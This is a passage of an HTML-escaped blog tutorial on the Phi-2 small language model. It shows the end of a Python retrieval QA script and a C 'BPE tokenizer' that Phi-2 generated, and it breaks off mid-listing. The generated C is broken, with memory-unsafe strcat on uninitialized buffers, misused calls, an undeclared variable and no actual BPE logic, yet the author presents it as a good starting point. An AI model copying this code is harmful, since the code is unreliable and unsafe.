&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform similarity search - top 3 similar passages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _, similar_indices &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(query_embedding, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DEBUG - Number of similar indices: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;similar_indices&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;size&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Retrieve context passages based on similar_indices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    similar_contexts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [context_passages[i] &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; similar_indices[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Concatenate the similar contexts into a single string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(similar_contexts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pass the concatenated context and query to the Phi-2 model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    answer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; handle_prompt(input_query, context)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Answer:&amp;#34;&lt;/span&gt;, answer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model, tokenizer, device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_model(MODEL_PATH, MODEL_NAME, DEBUG)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create embeddings and add to index before entering the loop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    query_embedding, context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; create_embeddings(DATA_FILE, tokenizer, model, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;array(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; create_index(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    exit_commands &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;q&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;e&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Enter your query or &amp;#39;exit&amp;#39; to quit: &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; query &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; exit_commands:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        search_query(query, tokenizer, model, device, index, context_passages)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now let us switch gears and try something that pushes the ability of Phi-2.&lt;/p&gt;
&lt;h2 id=&#34;6-code-generation-example-using-phi-2&#34;&gt;6. Code generation example using Phi-2&lt;/h2&gt;
&lt;p&gt;If we want to push the boundaries of what Phi-2 can do, we can use it to generate code. Below is an example of using Phi-2 to generate code for a simple C function. 🤓&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Write a program in C that implements a BPE-based tokenizer; it should implement both encoding and decoding functions. Think through this step by step.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The code we see below is what was generated. At face value, it looks like a good start but is incomplete. It is a good starting point for a developer to continue from and shows the power of SLMs like Phi-2.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;stdio.h&amp;gt; &lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#define MAX_LEN 100
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Encodes the input text into an array of integers
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;encode&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;text, &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Allocate memory for the tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;str &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;MAX_LEN&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; i, j&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;strlen&lt;/span&gt;(text) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; text[i] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check if the current character is whitespace or not alphanumeric
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#8aadf4&#34;&gt;isspace&lt;/span&gt;(text[i]) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;isalpha&lt;/span&gt;(text[i])){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Add whitespace to the tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str,&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;text[i]); 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; (k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;j &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;strcmp&lt;/span&gt;(text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;i, str &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; k)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;k; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check if the token is of length atleast 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;j &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// If yes, concatenate it to tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str,&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;text[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Output the tokenized string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Tokenized String: %s&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;,str);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Allocate memory for tokenized string size array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;(j&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;j; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Convert tokens to integer values
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize)[i] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;strtol&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;str[i], &lt;span style=&#34;color:#91d7e3&#34;&gt;NULL&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;16&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Decodes the input array of integers into a string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;decode&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokensize, &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Declare memory for decoded string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; str[MAX_LEN] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;*&lt;/span&gt;tokensize; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;%x&amp;#34;&lt;/span&gt;, tokensize[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Output the tokenized string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Tokenized String: %s&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;,str);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Declare memory for decoded string
